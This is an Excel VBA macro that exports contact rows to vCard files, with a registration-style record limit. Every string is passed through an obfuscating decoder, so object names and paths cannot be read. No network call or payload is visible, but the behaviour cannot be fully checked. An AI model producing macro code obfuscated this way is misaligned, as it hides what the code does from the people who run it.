ColNote_int = 66
ColCate_int = 67
ColVer_int = 68
ColUID_int = 69
NoEr_int = Val(menu_vCard.Label_max.Caption)
Range(l1l1("jlbwxyoiuq", "@{W")).Select
Sheets(l1l1("hbyvmviulr", 12489, 12526, 12569, 12507, 24173, 20010, 35278)).Select
NoEr_int = 20200630 - 20200626
DateSuf_str = Format(Date, l1l1("hbyvmviulr", "-A?G<H8,<")) & Format(Time, l1l1("hbyvmviulr", "n0.<1"))
FilePath_str = ActiveWorkbook.Path
Filename_Str(1) = l1l1("gzotezdaml", "^0Kq546") + DateSuf_str + l1l1("eieamipjzz", "bmSN./")
Filename_Str(2) = l1l1("hxmwqmnbvg", "\,Fu(M8") + DateSuf_str + l1l1("bayjegdczo", "sdbK;;")
Filename_Str(3) = l1l1("cujhedwhbj", "u#;o.I>") + DateSuf_str + l1l1("ewmbxoqgcq", ".lYQ'*")
Filename_Str(4) = l1l1("pwhgxbqvqh", ":""Nh+F8") + DateSuf_str + l1l1("oidqybuuks", "[iU8;?")
Filename_Str(5) = l1l1("xypubytdug", "q+El/7>") + DateSuf_str + l1l1("crftycgpdk", "v|_J7(")
i = 1:    j = 0
Dest_str = l1l1("naaetyzaku", "Q#phpXQ]")
Roy_str = CreateObject(l1l1("smyjjjcife", "L$(5?/4L\+0(@.")).SpecialFolders(l1l1("ntzstyuvno", "e|:>H299:J"))
Done_str = Roy_str & l1l1("hxmwqmnbvg", "g,") & Dest_str
CHKsu_bool = CreateObject(l1l1("gzotezdaml", "E'8A=2F33?gsDA>)I<C*2|5=(1M")).FileExists(Done_str) = True
If CHKsu_bool Then HauSu_int = 5000 Else HauSu_int = 2 + ColName2nd_int
Application.EnableCancelKey = xlDisabled
Do
j = j + 1
EndMsg_str = EndMsg_str + Filename_Str(j) + Chr(13) + Chr(10)
vcfFile_str = ""
Do
itemNo_int = 0
Error_int = 14
i = i + 1
If NoEr_int < i - 1 Then Exit Do
vcfFile_str = vcfFile_str + l1l1("rsvidcvxjl", "Vlo""q}tzi{xp") + Chr(13) + Chr(10)
vcfFile_str = vcfFile_str + l1l1("jhcfhqbnlk", ":&i&$zv'k_aS") + Chr(13) + Chr(10)
If Cells(i, ColNameMid_int) = "" And Cells(i, ColNameMidF_int) = "" Then
vcfFile_str = vcfFile_str + l1l1("aiehitlvro", "p{e") + Cells(i, ColName2nd_int) + l1l1("ewmbxoqgcq", "*d") + Cells(i, ColName1st_int) + Chr(13) + Chr(10)
vcfFile_str = vcfFile_str + l1l1("wfoegwxbzb", "- pr") + Cells(i, ColName2nd_int) + l1l1("ycxfaftzjp", "gI") + Cells(i, ColName1st_int) + Chr(13) + Chr(10)
vcfFile_str = vcfFile_str + l1l1("bayjegdczo", "tza% $r}.szZ""vwzT~g!~e") + Cells(i, ColName2ndF_int) + Chr(13) + Chr(10)
vcfFile_str = vcfFile_str + l1l1("aagdpdgppc", "j/[}q wq pi_}l(+*V)q#oo") + Cells(i, ColName1stF_int) + Chr(13) + Chr(10)
Else
MiddleName_str = Replace(Cells(i, ColNameMid_int), l1l1("igolnpkkbv", "QX"), ""): MiddleName_str = Replace(MiddleName_str, l1l1("jujjqpmpdu", ".L"), "")
MiddleNameF_str = Replace(Cells(i, ColNameMidF_int), l1l1("crftycgpdk", "i_"), ""): MiddleNameF_str = Replace(MiddleNameF_str, l1l1("naaetyzaku", "@_"), "")
vcfFile_str = vcfFile_str + l1l1("crftycgpdk", "B&k") + Cells(i, ColName2nd_int) + l1l1("igolnpkkbv", "/k") + Cells(i, ColName1st_int) + l1l1("tuykxpfecr", "+mY") + MiddleName_str + l1l1("bayjegdczo", "~Koo") + Chr(13) + Chr(10)
vcfFile_str = vcfFile_str + l1l1("qsyvyvovtd", "Nv|g") + Cells(i, ColName2nd_int) + l1l1("hxmwqmnbvg", "[O") + Cells(i, ColName1st_int) + l1l1("opywcihnxr", "CEZ") + MiddleName_str + l1l1("igolnpkkbv", "SY") + Chr(13) + Chr(10)
vcfFile_str = vcfFile_str + l1l1("tuykxpfecr", "K+^~ov!s~msRpk&xRtez{r") + Cells(i, ColName2ndF_int) + Chr(13) + Chr(10)
vcfFile_str = vcfFile_str + l1l1("rksospugim", "y2T|sz{m{$d]nC;0./Usy(v[") + l1l1("cujhedwhbj", "'FL") + MiddleNameF_str + l1l1("wfoegwxbzb", "Xb") + Chr(13) + Chr(10)
vcfFile_str = vcfFile_str + l1l1("jujjqpmpdu", "R{V vqog'~lUlw #$Svm#pf") + Cells(i, ColName1stF_int) + Chr(13) + Chr(10)
End If
If Cells(i, ColNameNic_int) <> "" Then
vcfFile_str = vcfFile_str + l1l1("aiehitlvro", "V{tfzokz}\") + Cells(i, ColNameNic_int) + Chr(13) + Chr(10)
End If
If Cells(i, ColCompany_int) <> "" Or Cells(i, ColDivision_int) <> "" Then
vcfFile_str = vcfFile_str + l1l1("pwhgxbqvqh", "<t*lc") + Cells(i, ColCompany_int) + l1l1("aahrwrbhsj", "#^") + Cells(i, ColDivision_int) + Chr(13) + Chr(10)
End If
If Cells(i, ColTitle_int) <> "" Then
vcfFile_str = vcfFile_str + l1l1("hbyvmviulr", "J{n""n d") + Cells(i, ColTitle_int) + Chr(13) + Chr(10)
End If
For jj = 0 To 3
If Cells(i, ColTEL1_int + jj * 2) <> "" Then
Call Module_Sub.Sub_TEL2(i, Cells(i, ColTEL1_int + jj * 2), Cells(i, ColTEL1type_int + jj * 2), itemNo_int, vcfFile_tmp)
vcfFile_str = vcfFile_str & vcfFile_tmp
End If
If ErrColor_str = l1l1("naaetyzaku", "o))8") Then a = 1
Next jj
For jj = 0 To 3
If Cells(i, Colmail1_int + jj * 2) <> "" Then
Call Module_Sub.Sub_EMAIL2(i, Cells(i, Colmail1_int + jj * 2), Cells(i, Colmail1type_int + jj * 2), itemNo_int, vcfFile_tmp, Error_str)
vcfFile_str = vcfFile_str & vcfFile_tmp
End If
If Error_str = l1l1("qsyvyvovtd", "jv>@61Jf@93G") Then
Error_int = Error_int + 1
Sheets(l1l1("aiehitlvro", 12558, 12534, 12552, 12587)).Cells(Error_int, 2) = Str(i) & l1l1("nefewzlmhe", 34935, 30495, 12554, 12583, 12574, 12502, 12539, 12575, 12519, 65361) & Cells(i, Colmail1_int + jj * 2)
ErrorMsg_str = l1l1("qsyvyvovtd", "&PNU", 12496, 12568, 12593, 12397, 26422, 12464, 12449, 12429, "gU")
End If
Next jj
aaa = 1
For jj = 0 To 3
B1 = Cells(i, ColAddPost1_int + jj * 7)
B2 = Cells(i, ColAddKuni1_int + jj * 7)
B3 = Cells(i, ColAddPref1_int + jj * 7)
B4 = Cells(i, ColAddCity1_int + jj * 7)
B5 = Cells(i, ColAddOptA1_int + jj * 7)
B6 = Cells(i, ColAddPotB1_int + jj * 7)
B7 = Cells(i, ColAdd1type_int + jj * 7)
If B1 <> "" Or B2 <> "" Or B3 <> "" Or B4 <> "" Or B5 <> "" Or B6 <> "" Then
Call Module_Sub.Sub_ADD2(i, B1, B2, B3, B4, B5, B6, B7, itemNo_int, vcfFile_tmp)
vcfFile_str = vcfFile_str & vcfFile_tmp
End If
Next jj
For jj = 0 To 1
If Cells(i, ColURL1_int + jj * 2) <> "" Then
Call Module_Sub.Sub_URL2(i, Cells(i, ColURL1_int + jj * 2), Cells(i, ColURL1tpe_int + jj * 2), itemNo_int, vcfFile_tmp)
vcfFile_str = vcfFile_str & vcfFile_tmp
End If
Next jj
If Cells(i, ColBirth_int) <> "" Then
vcfFile_str = vcfFile_str + l1l1("nefewzlmhe", ".muj%nK4@D=o16H6i") + Cells(i, ColBirth_int) + Chr(13) + Chr(10)
End If
If Cells(i, ColAnniv_int) <> "" Then
Call Module_Sub.Sub_Anniv2(i, Cells(i, ColAnniv_int), Cells(i, ColAnnivtype_int), itemNo_int, vcfFile_tmp)
vcfFile_str = vcfFile_str & vcfFile_tmp
End If
If Cells(i, ColNote_int) <> "" Then
vcfFile_str = vcfFile_str + l1l1("jujjqpmpdu", "Sqx$s\") + Cells(i, ColNote_int) + Chr(13) + Chr(10)
End If
vcfFile_str = vcfFile_str + l1l1("igolnpkkbv", "!u#gt.uq-x") + Chr(13) + Chr(10)
If HauSu_int < Item_int Then Exit Do
Application.StatusBar = Str(i - 1) & l1l1("tuykxpfecr", "OR", 34941, 30492, 21005, 29741, 20063)
Loop While ((Int(i / 1001) <> i / 1001) And Cells(i + 1, ColName2nd_int) <> "")
vcfFile_str = Left(vcfFile_str, Len(vcfFile_str) - 1)
Dim st As Object
Dim NoBomst As Object
Set st = CreateObject(l1l1("eeeuugbcii", "fknsqxct?;435"))
Set NoBomst = CreateObject(l1l1("smyjjjcife", "Tmx!pgQ+CJ-$A"))
st.Mode = 3
st.Type = 2
st.Charset = l1l1("ntlbuoltnt", "Z!uo^r")
st.LineSeparator = 10
st.Open
st.WriteText vcfFile_str, 1
st.Position = 0
st.Type = 1
st.Position = 3
NoBomst.Type = 1
NoBomst.Open
st.CopyTo NoBomst
NoBomst.SaveToFile FilePath_str + Filename_Str(j), 2
st.Close
NoBomst.Close
Set st = Nothing
Set NoBomst = Nothing
Loop While (Cells(i + 1, ColName2nd_int) <> "" And NoEr_int > i)
Sheets(l1l1("gzotezdaml", 12501, 12541, 12570, 12524, 24148, 20017, 35280)).Select
MsgBox l1l1("kvbbpycfxc", "kBu)B+", 20371, 25158, 23480) + ErrorMsg_str + Chr(13) + Chr(10) + Chr(13) + Chr(10) _
+ l1l1("kvbbpycfxc", 12530, 12590, 12518, 26015, 65344) + Str(i - 1) + l1l1("aagdpdgppc", 20268) + Chr(13) + Chr(10) + Chr(13) + Chr(10) _
+ Str(j) + l1l1("gxrlcshfpr", 20534, 12447, 12538, 12505, 12492, 12574, 12492, 20369, 25156, 12413, 12459, 12414, 12437) + Chr(13) + Chr(10) _
+ EndMsg_str + Chr(13) + Chr(10) + _
l1l1("gxrlcshfpr", 20488, 23433, 12544, 12579, 12520, 65357) + Chr(13) + Chr(10) + FilePath_str + Chr(13) + Chr(10)
Application.StatusBar = False
menu_vCard.Hide
Unload Me
ende:
End Sub
Private Sub Button_FileSelect_Click()
Dim macroFileName_str As String
Dim macroFilePath_str As String
macroFilePath_str = ActiveWorkbook.Path
macroFileName_str = ActiveWorkbook.Name
ChDrive macroFilePath_str
ChDir macroFilePath_str
Dim OpenFileName_str As String
OpenFileName_str = Application.GetOpenFilename(l1l1("ewmbxoqgcq", "}@/AK:l6A6X", 12543, 12487, 12495, 12566, "-RMgF=4"))
pos = InStrRev(OpenFileName_str, l1l1("wfoegwxbzb", "^6"))
PathName_str = Left(OpenFileName_str, pos)
Filename_Str = Mid(OpenFileName_str, pos + 1)
menu_vCard.Text_FileName.Text = OpenFileName_str
Sheets(l1l1("aagdpdgppc", 12567, 12537, 12562, 12581)).Cells(9, 2) = OpenFileName_str
End Sub
Private Sub Button_Back_Click()
menu_vCard.MultiPage.Value = 0
End Sub
Private Sub Button_Cancel1_Click()
Unload Me
End Sub
Private Sub Button_Cancel2_Click()
Unload Me
End Sub
Private Sub Button_RegPage_Click()
menu_vCard.MultiPage.Value = 1
End Sub
Function F_Undefined(F_LineData0_str, F_LineData1_str, F_vcfItem_str, F_vcfData_str)
For i = 1 To Sheets(l1l1("eeeuugbcii", 12555, 12533, 12553, 12585)).Cells(15, 2)
If F_LineData0_str = Sheets(l1l1("jlbwxyoiuq", 12571, 12529, 12561, 12578)).Cells(15 + i, 2) Then Exit For
Next i
If i = Sheets(l1l1("wfoegwxbzb", 12570, 12525, 12573, 12592)).Cells(15, 2) + 1 Then
Sheets(l1l1("unjcohjdqj", 12559, 12532, 12556, 12586)).Cells(15, 2) = Sheets(l1l1("bwwyisrmwz", 12564, 12549, 12558, 12576)).Cells(15, 2) + 1
Error_int = Sheets(l1l1("eeeuugbcii", 12555, 12533, 12553, 12585)).Cells(15, 2)
Sheets(l1l1("jujjqpmpdu", 12548, 12532, 12564, 12586)).Cells(15 + Error_int, 2) = F_LineData0_str
Sheets(l1l1("hxmwqmnbvg", 12560, 12538, 12567, 12578)).Cells(15 + Error_int, 3) = l1l1("aagdpdgppc", "`]V") & F_vcfItem_str & l1l1("jujjqpmpdu", "RLQ") & vcfData_str & l1l1("ycxfaftzjp", "xR")
F_Undefined = l1l1("jhcfhqbnlk", 26457, 23486, 32732, "Uj") & F_LineData0_str & l1l1("oidqybuuks", "w_") & F_LineData1_str & Chr(13) & Chr(10)
End If
End Function



Attribute VB_Name = "Sheet4"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
…